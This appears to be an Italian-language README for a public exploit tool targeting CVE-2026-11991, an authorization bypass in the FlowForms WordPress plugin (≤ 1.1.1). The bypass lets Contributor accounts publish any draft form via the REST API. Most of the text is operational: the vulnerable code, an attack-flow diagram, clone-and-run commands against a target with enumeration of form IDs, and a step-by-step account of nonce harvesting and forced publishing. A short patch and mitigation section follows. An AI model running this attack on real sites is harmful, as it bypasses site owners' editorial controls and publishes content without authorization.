
# Exploit automatizzato per CVE-2026-11991, un bypass dell'autorizzazione nel plugin WordPress FlowForms che consente agli utenti Contributor+ di pubblicare qualsiasi modulo in bozza tramite richieste REST API appositamente costruite.
Bypass dell'Autorizzazione (Contributor+) per Pubblicare Qualsiasi Modulo Bozza in FlowForms ≤ 1.1.1
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2026-11991 |
| Punteggio CVSS | 6.2 — Medio |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente) |
| Prodotto | FlowForms — Plugin WordPress per la Creazione di Moduli Conversazionali |
| Versioni Affette | Tutte le versioni fino alla 1.1.1 inclusa |
| Corretta In | 1.1.2 |
| Ricercatore | Phantom Hat |
Caso di studio completo white-box con analisi del codice sorgente, tracciamento del flusso di input e confronto delle patch:
FlowForms espone una REST API sotto il namespace flowforms/v1. L'endpoint di pubblicazione:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
accetta un {id} controllato dall'utente nel percorso URL e promuove un modulo bozza al sito live.
Il permission_callback per la rotta /publish esegue solo un controllo generico delle capacità:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts è una capacità posseduta dai Contributors — un ruolo che WordPress limita intenzionalmente dalla pubblicazione di contenuti. Non esiste alcuna verifica di proprietà rispetto al form_id di destinazione. Qualsiasi utente autenticato può pubblicare qualsiasi modulo bozza sul sito.
Attaccante (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticazione come Contributor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Raccolta del nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerazione dei moduli bozza
│<─ "Form Not Published" ───────────│ (risposta non autenticata)
│ │
│── POST /flowforms/v1/forms/ │ (4) Attivazione della pubblicazione su
│ {id}/publish ─────────────>│ qualsiasi ID di modulo bozza
│ │ ← nessun controllo di proprietà
│<─ { "success": true } ────────────│
│ │
│ Il modulo è ora LIVE sul sito │ (5) La bozza bypassa
│ senza approvazione editoriale │ il flusso di lavoro editoriale
Contributor sul sito di destinazionegit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Flag | Descrizione | Obbligatorio |
|---|---|---|
--url | URL WordPress di destinazione | ✅ |
--user | Nome utente WordPress (Contributor+) | ✅ |
--password | Password WordPress | ✅ |
--num_forms | Numero di ID modulo da enumerare | ✅ |
--id_start | ID modulo iniziale per l'enumerazione | ✅ |
--proxy | URL del proxy (es. http://127.0.0.1:8080) | ❌ |
L'exploit esegue tre passaggi automatizzati:
Passaggio 1 — Autenticazione
Effettua il login come attaccante (Contributor) e raccoglie un nonce REST API valido da wp-admin.
Passaggio 2 — Enumerazione delle Bozze
Scansiona GET /flowform/{id} nell'intervallo di ID specificato. I moduli che restituiscono "Form Not Published" vengono raccolti come obiettivi — si tratta di moduli bozza di cui l'attaccante non possiede la proprietà.
Passaggio 3 — Pubblicazione
Invia POST /flowforms/v1/forms/{id}/publish con il nonce dell'attaccante. L'endpoint accetta la richiesta, promuove la bozza e rende il modulo live — senza alcun controllo di autorizzazione sulla proprietà.
| Azione | Dettagli |
|---|---|
| Patch | Sostituire il controllo generico edit_posts con current_user_can('edit_post', $form_id) — il secondo argomento vincola il controllo delle capacità all'oggetto post specifico, applicando le regole di proprietà di WordPress |
| Mitigazione | Fino alla correzione, limitare i ruoli Contributor e Author se il plugin è attivo |
// VULNERABILE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SICURO (corretto)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),